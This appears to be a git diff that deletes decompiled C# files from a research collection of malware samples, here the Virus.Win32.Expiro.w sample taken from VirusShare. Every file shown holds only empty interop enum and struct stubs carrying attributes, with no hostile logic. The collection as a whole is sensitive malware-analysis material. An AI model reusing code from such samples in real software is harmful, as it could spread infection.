/dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSVGIO -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSVGIO -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSVUIA_STATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSVUIA_STATUS.cs deleted file mode 100644 index 7c293ca4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSVUIA_STATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSVUIA_STATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSVUIA_STATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSYSKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSYSKIND.cs deleted file mode 100644 index 7d0023ed..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSYSKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSYSKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagSYSKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagShutdownType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagShutdownType.cs deleted file mode 100644 index d245f8c3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagShutdownType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagShutdownType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagShutdownType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTEXTMETRICA.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTEXTMETRICA.cs deleted file mode 100644 index 7883c673..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTEXTMETRICA.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTEXTMETRICA -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 56)] -internal struct tagTEXTMETRICA -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTEXTMETRICW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTEXTMETRICW.cs deleted file mode 100644 index bfc33290..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTEXTMETRICW.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTEXTMETRICW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 60)] -internal struct tagTEXTMETRICW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYMED.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYMED.cs deleted file mode 100644 index 4f7b90f2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYMED.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYMED -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagTYMED -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYPEFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYPEFLAGS.cs deleted file mode 100644 index 1e9ca443..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYPEFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYPEFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagTYPEFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYPEKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYPEKIND.cs deleted file mode 100644 index 7aa86b1a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYPEKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYPEKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagTYPEKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYSPEC.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYSPEC.cs deleted file mode 100644 index 9d585af4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYSPEC.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYSPEC -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagTYSPEC -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagUASFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagUASFLAGS.cs deleted file mode 100644 index 45b98a13..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagUASFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagUASFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagUASFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagURLTEMPLATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagURLTEMPLATE.cs deleted file mode 100644 index 20bde3a6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagURLTEMPLATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagURLTEMPLATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagURLTEMPLATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagURLZONE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagURLZONE.cs deleted file mode 100644 index 15d3aa68..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagURLZONE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagURLZONE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagURLZONE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagUSERCLASSTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagUSERCLASSTYPE.cs deleted file mode 100644 index b1e46f6d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagUSERCLASSTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagUSERCLASSTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagUSERCLASSTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVARFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVARFLAGS.cs deleted file mode 100644 index be640604..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVARFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVARFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagVARFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVARIANT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVARIANT.cs deleted file mode 100644 index 813ce97a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVARIANT.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVARIANT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct tagVARIANT -{ - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240xbdab38f0\u0024299\u0024 - { - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240xbdab38f0\u0024300\u0024 - { - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240xbdab38f0\u0024301\u0024 - { - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0024UnnamedClass\u00240xbdab38f0\u0024302\u0024 - { - } - } - } - } - - [NativeCppClass] - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240xf8fbc640\u0024228\u0024 - { - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240xf8fbc640\u0024229\u0024 - { - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240xf8fbc640\u0024230\u0024 - { - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0024UnnamedClass\u00240xf8fbc640\u0024231\u0024 - { - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVARKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVARKIND.cs deleted file mode 100644 index 286adf15..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVARKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVARKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagVARKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVIEWSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVIEWSTATUS.cs deleted file mode 100644 index 1b6c38ba..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVIEWSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVIEWSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagVIEWSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagXFORMCOORDS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagXFORMCOORDS.cs deleted file mode 100644 index 0071e87b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagXFORMCOORDS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagXFORMCOORDS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagXFORMCOORDS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagXMLEMEM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagXMLEMEM_TYPE.cs deleted file mode 100644 index 0b84ba6d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagXMLEMEM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagXMLEMEM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagXMLEMEM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_CIMTYPE_ENUMERATION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_CIMTYPE_ENUMERATION.cs deleted file mode 100644 index 20acf983..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_CIMTYPE_ENUMERATION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_CIMTYPE_ENUMERATION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_CIMTYPE_ENUMERATION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEMSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEMSTATUS.cs deleted file mode 100644 index 6efe3c6c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEMSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEMSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEMSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEMSTATUS_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEMSTATUS_FORMAT.cs deleted file mode 100644 index db45081d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEMSTATUS_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEMSTATUS_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEMSTATUS_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_BACKUP_RESTORE_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_BACKUP_RESTORE_FLAGS.cs deleted file mode 100644 index 408e0ebf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_BACKUP_RESTORE_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: 